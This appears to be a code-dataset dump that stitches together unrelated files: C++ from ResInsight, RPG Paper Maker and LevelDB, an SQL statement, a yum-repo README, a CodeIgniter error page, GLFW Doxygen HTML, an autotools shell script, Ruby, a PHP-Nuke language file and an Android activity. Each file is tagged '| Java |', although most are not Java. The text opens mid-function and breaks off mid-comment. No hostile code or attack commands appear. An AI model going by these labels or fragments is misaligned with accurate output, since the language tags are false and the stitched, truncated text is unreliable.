RivScalarMapperUtils::applyTextureResultsToPart(m_surfaceFaces.p(), m_surfaceFacesTextureCoords.p(), mapper, m_opacityLevel, caf::FC_NONE);
}
}
}
//--------------------------------------------------------------------------------------------------
///
//--------------------------------------------------------------------------------------------------
void RivGridPartMgr::updateCellEdgeResultColor(size_t timeStepIndex, RimResultSlot* cellResultSlot, RimCellEdgeResultSlot* cellEdgeResultSlot)
{
if (m_surfaceFaces.notNull())
{
cvf::DrawableGeo* dg = dynamic_cast<cvf::DrawableGeo*>(m_surfaceFaces->drawable());
if (dg)
{
cvf::ref<cvf::Effect> eff = RivScalarMapperUtils::createCellEdgeEffect(dg, m_surfaceGenerator.quadToCellFaceMapper(), m_grid->gridIndex(),
timeStepIndex, cellResultSlot, cellEdgeResultSlot, m_opacityLevel, m_defaultColor, caf::FC_NONE);
m_surfaceFaces->setEffect(eff.p());
}
}
}
//--------------------------------------------------------------------------------------------------
///
//--------------------------------------------------------------------------------------------------
RivGridPartMgr::~RivGridPartMgr()
{
#if 0
if (m_faultFaces.notNull()) m_faultFaces->deleteOrReleaseOpenGLResources();
if (m_faultGridLines.notNull()) m_faultGridLines->deleteOrReleaseOpenGLResources();
if (m_surfaceGridLines.notNull()) m_surfaceGridLines->deleteOrReleaseOpenGLResources();
if (m_surfaceFaces.notNull()) m_surfaceFaces->deleteOrReleaseOpenGLResources();
#endif
}
| Java |
ALTER TABLE Tag ADD (version INT DEFAULT '0' NOT NULL); | Java |
# Manage yum repos
## in any.yaml
```
repos::default:
gpgcheck: 0
enabled: 1
mirrorlist_expire: 7200
failovermethod: priority
repos::list:
name1:
descr: name-1
mirrorlist: 'http://url/?release=$releasever&arch=$basearch&repo=os&infra=$infra'
priority: 50
name2:
descr: name-2
mirrorlist: 'http://url/?release=$releasever&arch=$basearch&repo=updates&infra=$infra'
priority: 51
```
if `:merge_behavior: deeper` all found hashes will be merged in accordance with the priority.
| Java |
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/**
* CodeIgniter
*
* An open source application development framework for PHP 5.2.4 or newer
*
* NOTICE OF LICENSE
*
* Licensed under the Academic Free License version 3.0
*
* This source file is subject to the Academic Free License (AFL 3.0) that is
* bundled with this package in the files license_afl.txt / license_afl.rst.
* It is also available through the world wide web at this URL:
* http://opensource.org/licenses/AFL-3.0
* If you did not receive a copy of the license and are unable to obtain it
* through the world wide web, please send an email to
* licensing@ellislab.com so we can send you a copy immediately.
*
* @package CodeIgniter
* @author EllisLab Dev Team
* @copyright Copyright (c) 2008 - 2012, EllisLab, Inc. (http://ellislab.com/)
* @license http://opensource.org/licenses/AFL-3.0 Academic Free License (AFL 3.0)
* @link http://codeigniter.com
* @since Version 1.0
* @filesource
*/
?><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Database Error</title>
<style type="text/css">
::selection{ background-color: #E13300; color: white; }
::moz-selection{ background-color: #E13300; color: white; }
::webkit-selection{ background-color: #E13300; color: white; }
body {
background-color: #fff;
margin: 40px;
font: 13px/20px normal Helvetica, Arial, sans-serif;
color: #4F5155;
}
a {
color: #003399;
background-color: transparent;
font-weight: normal;
}
h1 {
color: #444;
background-color: transparent;
border-bottom: 1px solid #D0D0D0;
font-size: 19px;
font-weight: normal;
margin: 0 0 14px 0;
padding: 14px 15px 10px 15px;
}
code {
font-family: Consolas, Monaco, Courier New, Courier, monospace;
font-size: 12px;
background-color: #f9f9f9;
border: 1px solid #D0D0D0;
color: #002166;
display: block;
margin: 14px 0 14px 0;
padding: 12px 10px 12px 10px;
}
#container {
margin: 10px;
border: 1px solid #D0D0D0;
-webkit-box-shadow: 0 0 8px #D0D0D0;
}
p {
margin: 12px 15px 12px 15px;
}
</style>
</head>
<body>
<div id="container">
<h1><?php echo $heading; ?></h1>
<?php echo $message; ?>
</div>
</body>
</html> | Java |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<meta name="generator" content="Doxygen 1.8.11"/>
<title>GLFW: Globals</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/searchdata.js"></script>
<script type="text/javascript" src="search/search.js"></script>
<script type="text/javascript">
$(document).ready(function() { init_search(); });
</script>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
<link href="extra.css" rel="stylesheet" type="text/css"/>
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<div class="glfwheader">
<a href="http://www.glfw.org/" id="glfwhome">GLFW</a>
<ul class="glfwnavbar">
<li><a href="http://www.glfw.org/documentation.html">Documentation</a></li>
<li><a href="http://www.glfw.org/download.html">Download</a></li>
<li><a href="http://www.glfw.org/media.html">Media</a></li>
<li><a href="http://www.glfw.org/community.html">Community</a></li>
</ul>
</div>
</div>
<!-- end header part -->
<!-- Generated by Doxygen 1.8.11 -->
<script type="text/javascript">
var searchBox = new SearchBox("searchBox", "search",false,'Search');
</script>
<div id="navrow1" class="tabs">
<ul class="tablist">
<li><a href="index.html"><span>Main Page</span></a></li>
<li><a href="pages.html"><span>Related Pages</span></a></li>
<li><a href="modules.html"><span>Modules</span></a></li>
<li><a href="annotated.html"><span>Data Structures</span></a></li>
<li class="current"><a href="files.html"><span>Files</span></a></li>
<li>
<div id="MSearchBox" class="MSearchBoxInactive">
<span class="left">
<img id="MSearchSelect" src="search/mag_sel.png"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
alt=""/>
<input type="text" id="MSearchField" value="Search" accesskey="S"
onfocus="searchBox.OnSearchFieldFocus(true)"
onblur="searchBox.OnSearchFieldFocus(false)"
onkeyup="searchBox.OnSearchFieldChange(event)"/>
</span><span class="right">
<a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a>
</span>
</div>
</li>
</ul>
</div>
<div id="navrow2" class="tabs2">
<ul class="tablist">
<li><a href="files.html"><span>File List</span></a></li>
<li class="current"><a href="globals.html"><span>Globals</span></a></li>
</ul>
</div>
<div id="navrow3" class="tabs2">
<ul class="tablist">
<li><a href="globals.html"><span>All</span></a></li>
<li><a href="globals_func.html"><span>Functions</span></a></li>
<li><a href="globals_type.html"><span>Typedefs</span></a></li>
<li class="current"><a href="globals_defs.html"><span>Macros</span></a></li>
</ul>
</div>
<div id="navrow4" class="tabs3">
<ul class="tablist">
<li><a href="globals_defs.html#index_a"><span>a</span></a></li>
<li><a href="globals_defs_b.html#index_b"><span>b</span></a></li>
<li><a href="globals_defs_c.html#index_c"><span>c</span></a></li>
<li><a href="globals_defs_d.html#index_d"><span>d</span></a></li>
<li><a href="globals_defs_e.html#index_e"><span>e</span></a></li>
<li><a href="globals_defs_f.html#index_f"><span>f</span></a></li>
<li><a href="globals_defs_g.html#index_g"><span>g</span></a></li>
<li><a href="globals_defs_h.html#index_h"><span>h</span></a></li>
<li><a href="globals_defs_i.html#index_i"><span>i</span></a></li>
<li><a href="globals_defs_j.html#index_j"><span>j</span></a></li>
<li><a href="globals_defs_k.html#index_k"><span>k</span></a></li>
<li><a href="globals_defs_l.html#index_l"><span>l</span></a></li>
<li class="current"><a href="globals_defs_m.html#index_m"><span>m</span></a></li>
<li><a href="globals_defs_n.html#index_n"><span>n</span></a></li>
<li><a href="globals_defs_o.html#index_o"><span>o</span></a></li>
<li><a href="globals_defs_p.html#index_p"><span>p</span></a></li>
<li><a href="globals_defs_r.html#index_r"><span>r</span></a></li>
<li><a href="globals_defs_s.html#index_s"><span>s</span></a></li>
<li><a href="globals_defs_t.html#index_t"><span>t</span></a></li>
<li><a href="globals_defs_v.html#index_v"><span>v</span></a></li>
</ul>
</div>
</div><!-- top -->
<!-- window showing the filter options -->
<div id="MSearchSelectWindow"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
onkeydown="return searchBox.OnSearchSelectKey(event)">
</div>
<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<iframe src="javascript:void(0)" frameborder="0"
name="MSearchResults" id="MSearchResults">
</iframe>
</div>
<div class="contents">
 
<h3><a class="anchor" id="index_m"></a>- m -</h3><ul>
<li>GLFW_MAXIMIZED
: <a class="el" href="glfw3_8h.html#ad8ccb396253ad0b72c6d4c917eb38a03">glfw3.h</a>
</li>
<li>GLFW_MOD_ALT
: <a class="el" href="group__mods.html#gad2acd5633463c29e07008687ea73c0f4">glfw3.h</a>
</li>
<li>GLFW_MOD_CONTROL
: <a class="el" href="group__mods.html#ga6ed94871c3208eefd85713fa929d45aa">glfw3.h</a>
</li>
<li>GLFW_MOD_SHIFT
: <a class="el" href="group__mods.html#ga14994d3196c290aaa347248e51740274">glfw3.h</a>
</li>
<li>GLFW_MOD_SUPER
: <a class="el" href="group__mods.html#ga6b64ba10ea0227cf6f42efd0a220aba1">glfw3.h</a>
</li>
<li>GLFW_MOUSE_BUTTON_1
: <a class="el" href="group__buttons.html#ga181a6e875251fd8671654eff00f9112e">glfw3.h</a>
</li>
<li>GLFW_MOUSE_BUTTON_2
: <a class="el" href="group__buttons.html#ga604b39b92c88ce9bd332e97fc3f4156c">glfw3.h</a>
</li>
<li>GLFW_MOUSE_BUTTON_3
: <a class="el" href="group__buttons.html#ga0130d505563d0236a6f85545f19e1721">glfw3.h</a>
</li>
<li>GLFW_MOUSE_BUTTON_4
: <a class="el" href="group__buttons.html#ga53f4097bb01d5521c7d9513418c91ca9">glfw3.h</a>
</li>
<li>GLFW_MOUSE_BUTTON_5
: <a class="el" href="group__buttons.html#gaf08c4ddecb051d3d9667db1d5e417c9c">glfw3.h</a>
</li>
<li>GLFW_MOUSE_BUTTON_6
: <a class="el" href="group__buttons.html#gae8513e06aab8aa393b595f22c6d8257a">glfw3.h</a>
</li>
<li>GLFW_MOUSE_BUTTON_7
: <a class="el" href="group__buttons.html#ga8b02a1ab55dde45b3a3883d54ffd7dc7">glfw3.h</a>
</li>
<li>GLFW_MOUSE_BUTTON_8
: <a class="el" href="group__buttons.html#ga35d5c4263e0dc0d0a4731ca6c562f32c">glfw3.h</a>
</li>
<li>GLFW_MOUSE_BUTTON_LAST
: <a class="el" href="group__buttons.html#gab1fd86a4518a9141ec7bcde2e15a2fdf">glfw3.h</a>
</li>
<li>GLFW_MOUSE_BUTTON_LEFT
: <a class="el" href="group__buttons.html#gaf37100431dcd5082d48f95ee8bc8cd56">glfw3.h</a>
</li>
<li>GLFW_MOUSE_BUTTON_MIDDLE
: <a class="el" href="group__buttons.html#ga34a4d2a701434f763fd93a2ff842b95a">glfw3.h</a>
</li>
<li>GLFW_MOUSE_BUTTON_RIGHT
: <a class="el" href="group__buttons.html#ga3e2f2cf3c4942df73cc094247d275e74">glfw3.h</a>
</li>
</ul>
</div><!-- contents -->
<address class="footer">
<p>
Last update on Wed Feb 1 2017 for GLFW 3.2.1
</p>
</address>
</body>
</html>
| Java |
/*
RPG Paper Maker Copyright (C) 2017-2021 Wano
RPG Paper Maker engine is under proprietary license.
This source code is also copyrighted.
Use Commercial edition for commercial use of your games.
See RPG Paper Maker EULA here:
http://rpg-paper-maker.com/index.php/eula.
*/
#include "paneldamageskind.h"
#include "ui_paneldamageskind.h"
#include "damageskind.h"
#include "common.h"
#include "rpm.h"
// -------------------------------------------------------
//
// CONSTRUCTOR / DESTRUCTOR / GET / SET
//
// -------------------------------------------------------
PanelDamagesKind::PanelDamagesKind(QWidget *parent) :
QWidget(parent),
ui(new Ui::PanelDamagesKind)
{
ui->setupUi(this);
}
PanelDamagesKind::~PanelDamagesKind()
{
delete ui;
}
// -------------------------------------------------------
//
// INTERMEDIARY FUNCTIONS
//
// -------------------------------------------------------
void PanelDamagesKind::initialize(PrimitiveValue *statisticID, PrimitiveValue
*currencyID, SuperListItem *variableID, SuperListItem *kind)
{
m_statisticID = statisticID;
m_currencyID = currencyID;
m_variableID = variableID;
m_kind = kind;
int index = m_kind->id();
ui->comboBoxChoice->clear();
ui->comboBoxChoice->addItems(RPM::ENUM_TO_STRING_DAMAGES_KIND);
ui->comboBoxChoice->setCurrentIndex(index);
ui->panelPrimitiveValueStatistic->initializeDataBaseCommandId(m_statisticID
->modelDataBase());
ui->panelPrimitiveValueStatistic->initializeModel(m_statisticID);
ui->panelPrimitiveValueStatistic->updateModel();
ui->panelPrimitiveValueCurrency->initializeDataBaseCommandId(m_currencyID
->modelDataBase());
ui->panelPrimitiveValueCurrency->initializeModel(m_currencyID);
ui->panelPrimitiveValueCurrency->updateModel();
ui->widgetVariable->initializeSuper(m_variableID);
showElement();
}
// -------------------------------------------------------
void PanelDamagesKind::hideAll() {
ui->panelPrimitiveValueStatistic->hide();
ui->panelPrimitiveValueCurrency->hide();
ui->widgetVariable->hide();
}
// -------------------------------------------------------
void PanelDamagesKind::showElement() {
hideAll();
switch (static_cast<DamagesKind>(m_kind->id())) {
case DamagesKind::Stat:
ui->panelPrimitiveValueStatistic->show();
break;
case DamagesKind::Currency:
ui->panelPrimitiveValueCurrency->show();
break;
case DamagesKind::Variable:
ui->widgetVariable->show();
break;
}
}
// -------------------------------------------------------
//
// SLOTS
//
// -------------------------------------------------------
void PanelDamagesKind::on_comboBoxChoice_currentIndexChanged(int index) {
m_kind->setId(index);
showElement();
}
| Java |
#! /bin/sh
dirs="$*"
if test _"$dirs" = _
then dirs="."
fi
for dir in $dirs
do
if test -d $dir
then
aclocal=""
autoconf=" && autoconf"
autoheader=""
automake=""
if test -f $dir/Makefile.am
then
aclocal=" && aclocal -I build-aux"
automake=" && automake --copy --add-missing"
if egrep 'A[CM]_PROG_LIBTOOL' $dir/configure.ac >/dev/null
then
libtoolize=" && libtoolize --copy --automake"
fi
fi
if egrep 'A[CM]_CONFIG_HEADER' $dir/configure.ac >/dev/null
then autoheader=" && autoheader"
fi
commands="cd $dir${libtoolize}${aclocal}${autoheader}${autoconf}${automake}"
echo "$commands"
eval "($commands)"
result=$?
if test $result -ne 0
then exit $result
fi
fi
done
exit $result
| Java |
###
# Copyright 2016 - 2022 Green River Data Analysis, LLC
#
# License detail: https://github.com/greenriver/hmis-warehouse/blob/production/LICENSE.md
###
require 'memoist'
module ClaimsReporting::Health
module PatientExtension
extend ActiveSupport::Concern
included do
extend Memoist
has_many :medical_claims, class_name: 'ClaimsReporting::MedicalClaim', foreign_key: :member_id, primary_key: :medicaid_id
def medical_claims_for_qualifying_activity(qa, denied: false) # rubocop:disable Naming/MethodParameterName
activity_date_range = Range.new(*qualifying_activities.map(&:date_of_activity).minmax)
(
medical_claims_by_service_start_date(date_range: activity_date_range)[qa.date_of_activity] || []
).select do |c|
procedure_matches = qa.procedure_with_modifiers == c.procedure_with_modifiers
procedure_matches &&= c.claim_status == 'D' if denied
procedure_matches
end
end
def best_medical_claim_for_qualifying_activity(qa, denied: false) # rubocop:disable Naming/MethodParameterName
matching_claims = medical_claims_for_qualifying_activity(qa, denied: denied)
return matching_claims.first if matching_claims.size <= 1
# slow path -- more that one matching claim for the same day
# we can try to assign them in matching order by id
matching_qa = qualifying_activities.select do |qa2|
(
qa2.claim_submitted_on.present? &&
qa2.date_of_activity == qa.date_of_activity &&
qa2.procedure_with_modifiers == qa.procedure_with_modifiers
)
end
return nil unless matching_qa.size == matching_claims.size
return nil if matching_qa.index(qa).nil?
matching_claims[matching_qa.index(qa)]
end
def medical_claims_by_service_start_date(date_range:)
medical_claims.where(
service_start_date: date_range,
).group_by(&:service_start_date)
end
memoize :medical_claims_by_service_start_date
end
end
end
| Java |
<?php
/**************************************************************************/
/* PHP-NUKE: Advanced Content Management System */
/* ============================================ */
/* */
/* This is the language module with all the system messages */
/* */
/* If you made a translation go to the my website and send to me */
/* the translated file. Please keep the original text order by modules, */
/* and just one message per line, also double check your translation! */
/* */
/* You need to change the second quoted phrase, not the capital one! */
/* */
/* If you need to use double quotes (") remember to add a backslash (\), */
/* so your entry will look like: This is \"double quoted\" text. */
/* And, if you use HTML code, please double check it. */
/**************************************************************************/
define("_URL","URL");
define("_FUNCTIONS","Functions");
define("_YES","Yes");
define("_NO","No");
define("_CATEGORY","Category");
define("_SAVECHANGES","Save Changes");
define("_OK","Ok!");
define("_HITS","Hits");
define("_THEREARE","There are");
define("_CHECK","Check");
define("_AUTHORNAME","Author's Name");
define("_AUTHOREMAIL","Author's Email");
define("_DOWNLOADNAME","Program Name");
define("_INBYTES","in bytes");
define("_FILESIZE","Filesize");
define("_VERSION","Version");
define("_DESCRIPTION","Description");
define("_AUTHOR","Author");
define("_HOMEPAGE","HomePage");
define("_NAME","Name");
define("_FILEURL","File Link");
define("_DOWNLOADID","Download ID");
define("_PAGETITLE","Page Title");
define("_PAGEURL","Page URL");
define("_ADDURL","Add this URL");
define("_DOWNLOAD","Downloads");
define("_TITLE","Title");
define("_STATUS","Status");
define("_ADD","Add");
define("_MODIFY","Modify");
define("_DOWNLOADSINDB","Downloads in our Database");
define("_DOWNLOADSWAITINGVAL","Downloads Waiting for Validation");
define("_CLEANDOWNLOADSDB","Clean Downloads Votes");
define("_BROKENDOWNLOADSREP","Broken Downloads Reports");
define("_DOWNLOADMODREQUEST","Download Modification Requests");
define("_ADDNEWDOWNLOAD","Add a New Download");
define("_MODDOWNLOAD","Modify a Download");
define("_WEBDOWNLOADSADMIN","Web Downloads Administration");
define("_DNOREPORTEDBROKEN","No reported broken downloads.");
define("_DUSERREPBROKEN","User Reported Broken Downloads");
define("_DIGNOREINFO","Ignore (Deletes all <strong><i>requests</i></strong> for a given download)");
define("_DDELETEINFO","Delete (Deletes <strong><i>broken download</i></strong> and <strong><i>requests</i></strong> for a given download)");
define("_DOWNLOADOWNER","Download Owner");
define("_DUSERMODREQUEST","User Download Modification Requests");
define("_DOWNLOADVALIDATION","Download Validation");
define("_CHECKALLDOWNLOADS","Check ALL Downloads");
define("_VALIDATEDOWNLOADS","Validate Downloads");
define("_NEWDOWNLOADADDED","New Download added to the Database");
define("_SUBMITTER","Submitter");
define("_VISIT","Visit");
define("_ADDMAINCATEGORY","Add a MAIN Category");
define("_ADDSUBCATEGORY","Add a SUB-Category");
define("_IN","in");
define("_DESCRIPTION255","Description: (255 characters max)");
define("_MODCATEGORY","Modify a Category");
define("_ADDEDITORIAL","Add Editorial");
define("_EDITORIALTITLE","Editorial Title");
define("_EDITORIALTEXT","Editorial Text");
define("_DATEWRITTEN","Date Written");
define("_IGNORE","Ignore");
define("_ORIGINAL","Original");
define("_PROPOSED","Proposed");
define("_NOMODREQUESTS","There are not any modification requests right now");
define("_SUBCATEGORY","Sub-Category");
define("_OWNER","Owner");
define("_ACCEPT","Accept");
define("_ERRORTHECATEGORY","ERROR: The Category");
define("_ALREADYEXIST","already exist!");
define("_ERRORTHESUBCATEGORY","ERROR: The Sub-Category");
define("_EDITORIALADDED","Editorial added to the Database");
define("_EDITORIALMODIFIED","Editorial Modified");
define("_EDITORIALREMOVED","Editorial removed from the Database");
define("_CHECKCATEGORIES","Check Categories");
define("_INCLUDESUBCATEGORIES","(include Sub-Categories)");
define("_FAILED","Failed!");
define("_BEPATIENT","(please be patient)");
define("_VALIDATINGCAT","Validating Category (and all subcategories)");
define("_VALIDATINGSUBCAT","Validating Sub-Category");
define("_ERRORURLEXIST","ERROR: This URL is already listed in the Database!");
define("_ERRORNOTITLE","ERROR: You need to type a TITLE for your URL!");
define("_ERRORNOURL","ERROR: You need to type a URL for your URL!");
define("_ERRORNODESCRIPTION","ERROR: You need to type a DESCRIPTION for your URL!");
define("_EZTRANSFER","Transfer");
define("_EZTHEREIS","There is");
define("_EZSUBCAT","sub-categories");
define("_EZATTACHEDTOCAT","under this category");
define("_EZTRANSFERDOWNLOADS","Transfer all downloads from category");
define("_DELEZDOWNLOADSCATWARNING","WARNING : Are you sure you want to delete this category? You will delete all sub-categories and attached downloads as well!");
define("_DOWNLOADTITLE","Download Title");
?> | Java |
package com.hackatoncivico.rankingpolitico;
import android.content.SharedPreferences;
import android.os.AsyncTask;
import android.os.Bundle;
import android.preference.PreferenceManager;
import android.support.v4.util.LogWriter;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.Toolbar;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.ImageView;
import android.widget.TextView;
import com.google.gson.Gson;
import com.google.gson.GsonBuilder;
import com.hackatoncivico.rankingpolitico.models.Candidato;
import com.hackatoncivico.rankingpolitico.models.Criterio;
import com.hackatoncivico.rankingpolitico.models.CriterioCandidato;
import com.hackatoncivico.rankingpolitico.models.RegistroCandidato;
import com.hackatoncivico.rankingpolitico.models.RegistroCandidatos;
import com.hackatoncivico.rankingpolitico.utils.ApiAccess;
import com.hackatoncivico.rankingpolitico.utils.Utils;
import com.squareup.picasso.Picasso;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.StatusLine;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.DefaultHttpClient;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
/**
* Created by franz on 7/11/2015.
*/
public class ProfileActivity extends AppCompatActivity {
private static final String TAG = "ProfileActivity";
public static final String ID_CANDIDATO = "ID_CANDIDATO";
private String idCandidato;
private Candidato candidato;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_profile);
// Add Toolbar
Toolbar toolbar = (Toolbar) findViewById(R.id.main_toolbar);
toolbar.setTitle(getString(R.string.title_profile_activity));
setSupportActionBar(toolbar);
getSupportActionBar().setDisplayHomeAsUpEnabled(true);
getSupportActionBar().setDisplayShowHomeEnabled(true);
SharedPreferences sharedPref = PreferenceManager.getDefaultSharedPreferences(this);
idCandidato = sharedPref.getString(Utils.SELECTED_CANDIDATE, "");
GetCandidato data = new GetCandidato();
data.execute();
}
@Override
public void onResume() {
super.onResume();
if (candidato != null) {
handleCandidato(candidato);
}
}
private void handleCandidato(final Candidato candidato){
this.candidato = candidato;
Button btn_logros = (Button) findViewById(R.id.btn_logros);
btn_logros.setOnClickListener(Utils.setNextScreenListener(this, LogrosActivity.class, LogrosActivity.ID_CANDIDATO, String.valueOf(candidato.id)));
Button btn_criterios = (Button) findViewById(R.id.btn_criterios);
btn_criterios.setOnClickListener(Utils.setNextScreenListener(this, CriteriosActivity.class, CriteriosActivity.ID_CANDIDATO, String.valueOf(candidato.id)));
runOnUiThread(new Runnable() {
@Override
public void run() {
//progressBar.setVisibility(View.GONE);
ImageView avatar = (ImageView) findViewById(R.id.profile_avatar);
Picasso.with(getBaseContext())
.load(ApiAccess.DOMINIO_URL + candidato.foto)
.placeholder(R.drawable.avatar)
.into(avatar);
TextView full_name = (TextView) findViewById(R.id.profile_full_name);
full_name.setText(candidato.nombres + " " + candidato.apellidos);
TextView logros = (TextView) findViewById(R.id.profile_logros_count);
logros.setText(String.valueOf(candidato.logros.size()));
int criterios_count = 0;
for (int i = 0; i < candidato.criterios.size(); i++) {
CriterioCandidato criterioCandidato = candidato.criterios.get(i);
Criterio criterio = criterioCandidato.criterio;
try{
criterios_count = criterios_count + Integer.parseInt(criterio.puntuacion);
} catch (NumberFormatException nfe){
nfe.printStackTrace();
}
}
TextView criterios = (TextView) findViewById(R.id.profile_criterios_count);
criterios.setText(String.valueOf(criterios_count));
}
});
}
private class GetCandidato extends AsyncTask<String, Void, Void> {
@Override
protected Void doInBackground(String... params) {
try {
//Create an HTTP client
HttpClient client = new DefaultHttpClient();
HttpGet get = new HttpGet(ApiAccess.CANDIDATOS_URL + '/' + idCandidato);
//Perform the request and check the status code
HttpResponse response = client.execute(get);
StatusLine statusLine = response.getStatusLine();
if(statusLine.getStatusCode() == 200) {
HttpEntity entity = response.getEntity();
InputStream content = entity.getContent();
try {
//Read the server response and attempt to parse it as JSON
Reader reader = new InputStreamReader(content);
GsonBuilder gsonBuilder = new GsonBuilder();
//gsonBuilder.setDateFormat("M/d/yy hh:mm a");
Gson gson = gsonBuilder.create();
//List<Candidato> posts = new ArrayList<Candidato>();
//posts = Arrays.asList(gson.fromJson(reader, Candidato[].class));
RegistroCandidato registroCandidato = gson.fromJson(reader, RegistroCandidato.class);
content.close();
handleCandidato(registroCandidato.registros);
} catch (Exception ex) {
Log.e(TAG, "Failed to parse JSON due to: " + ex);
//failedLoadingPosts();
}
} else {
Log.e(TAG, "Server responded with status code: " + statusLine.getStatusCode());
//failedLoadingPosts();
}
} catch(Exception ex) {
Log.e(TAG, "Failed to send HTTP POST request due to: " + ex);
//failedLoadingPosts();
}
return null;
}
}
}
| Java |
// Copyright (c) 2011 The LevelDB Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file. See the AUTHORS file for names of contributors.
#ifndef STORAGE_LEVELDB_INCLUDE_DB_H_
#define STORAGE_LEVELDB_INCLUDE_DB_H_
#include <stdint.h>
#include <stdio.h>
#include "iterator.h"
#include "options.h"
namespace leveldb {
// Update Makefile if you change these
static const int kMajorVersion = 1;
static const int kMinorVersion = 19;
struct Options;
struct ReadOptions;
struct WriteOptions;
class WriteBatch;
// Abstract handle to particular state of a DB.
// A Snapshot is an immutable object and can therefore be safely
// accessed from multiple threads without any external synchronization.
class Snapshot {
protected:
virtual ~Snapshot();
};
// A range of keys
struct Range {
Slice start; // Included in the range
Slice limit; // Not included in the range
Range() { }
Range(const Slice& s, const Slice& l) : start(s), limit(l) { }
};
// A DB is a persistent ordered map from keys to values.
// A DB is safe for concurrent access from multiple threads without
// any external synchronization.
class DB {
public:
// Open the database with the specified "name".
// Stores a pointer to a heap-allocated database in *dbptr and returns
// OK on success.
// Stores NULL in *dbptr and returns a non-OK status on error.
// Caller should delete *dbptr when it is no longer needed.
static Status Open(const Options& options,
const std::string& name,
DB** dbptr);
DB() { }
virtual ~DB();
// Set the database entry for "key" to "value". Returns OK on success,
// and a non-OK status on error.
// Note: consider setting options.sync = true.
virtual Status Put(const WriteOptions& options,
const Slice& key,
const Slice& value) = 0;
// Remove the database entry (if any) for "key". Returns OK on
// success, and a non-OK status on error. It is not an error if "key"
// did not exist in the database.
// Note: consider setting options.sync = true.
virtual Status Delete(const WriteOptions& options, const Slice& key) = 0;
// Apply the specified updates to the database.
// Returns OK on success, non-OK on failure.
// Note: consider setting options.sync = true.
virtual Status Write(const WriteOptions& options, WriteBatch* updates) = 0;
// If the database contains an entry for "key" store the
// corresponding value in *value and return OK.
//
// If there is no entry for "key" leave *value unchanged and return
// a status for which Status::IsNotFound() returns true.
//
// May return some other Status on an error.
virtual Status Get(const ReadOptions& options,
const Slice& key, std::string* value) = 0;
// Return a heap-allocated iterator over the contents of the database.
// The result of NewIterator() is initially invalid (caller must
// call one of the Seek methods on the iterator before using it).
//
// Caller should delete the iterator when it is no longer needed.
// The returned iterator should be deleted before this db is deleted.
virtual Iterator* NewIterator(const ReadOptions& options) = 0;
// Return a handle to the current DB state. Iterators created with
// this handle will all observe a stable snapshot of the current DB
// state. The caller must call ReleaseSnapshot(result) when the
// snapshot is no longer needed.
virtual const Snapshot* GetSnapshot() = 0;
// Release a previously acquired snapshot. The caller must not
// use "snapshot" after this call.
virtual void ReleaseSnapshot(const Snapshot* snapshot) = 0;
// DB implementations can export properties about their state
// via this method. If "property" is a valid property understood by this
// DB implementation, fills "*value" with its current value and returns
// true. Otherwise returns false.
//
//
// Valid property names include:
//
// "leveldb.num-files-at-level<N>" - return the number of files at level <N>,
// where <N> is an ASCII representation of a level number (e.g. "0").
// "leveldb.stats" - returns a multi-line string that describes statistics
// about the internal operation of the DB.
// "leveldb.sstables" - returns a multi-line string that describes all
// of the sstables that make up the db contents.
// "leveldb.approximate-memory-usage" - returns the approximate number of
// bytes of memory in use by the DB.
virtual bool GetProperty(const Slice& property, std::string* value) = 0;
// For each i in [0,n-1], store in "sizes[i]", the approximate
// file system space used by keys in "[range[i].start .. range[i].limit)".
//
// Note that the returned sizes measure file system space usage, so
// if the user data compresses by a factor of ten, the returned
// sizes will be one-tenth the size of the corresponding user data size.
//
// The results may not include the sizes of recently written data.
virtual void GetApproximateSizes(const Range* range, int n,
uint64_t* sizes) = 0;
// Compact the underlying storage for the key range [*begin,*end].
// In particular, deleted and overwritten versions are discarded,
// and the data is rearranged to reduce the cost of operations
// needed to access the data. This operation should typically only
// be invoked by users who understand the underlying implementation.
//
// begin==NULL is treated as a key before all keys in the database.
// end==NULL is treated as a key after all keys in the database.
// Therefore the following call will compact the entire database:
// db->CompactRange(NULL, NULL);
virtual void CompactRange(const Slice* begin, const Slice* end) = 0;
private:
// No copying allowed
DB(const DB&);
void operator=(const DB&);
};
// Destroy the contents of the specified database.
// Be very careful using this method.
Status DestroyDB(const std::string& name, const Options& options);
// If a DB cannot be opened, you may attempt to call this method to
// resurrect as much of the contents of the database as possible.
// Some data may be lost, so be careful when calling this function
// on a database that contains important information.
Status RepairDB(const std::string& dbname, const Options& options);
} // namespace leveldb
#endif // STORAGE_LEVELDB_INCLUDE_DB_H_
| Java |
/*
* OpenSplice DDS
*
* This software and documentation are Copyright 2006 to 2013 PrismTech
* Limited and its licensees. All rights reserved. See file:
*
* $OSPL_HOME/LICENSE
*
* for full copyright notice and license terms.
*
*/
#include <assert.h>
#include "c_typebase.h"
#include "idl_scope.h"
#include "idl_genCxxHelper.h"
#include "os_heap.h"
#include "os_stdlib.h"
#define IDL_MAXSCOPE (20)
/*
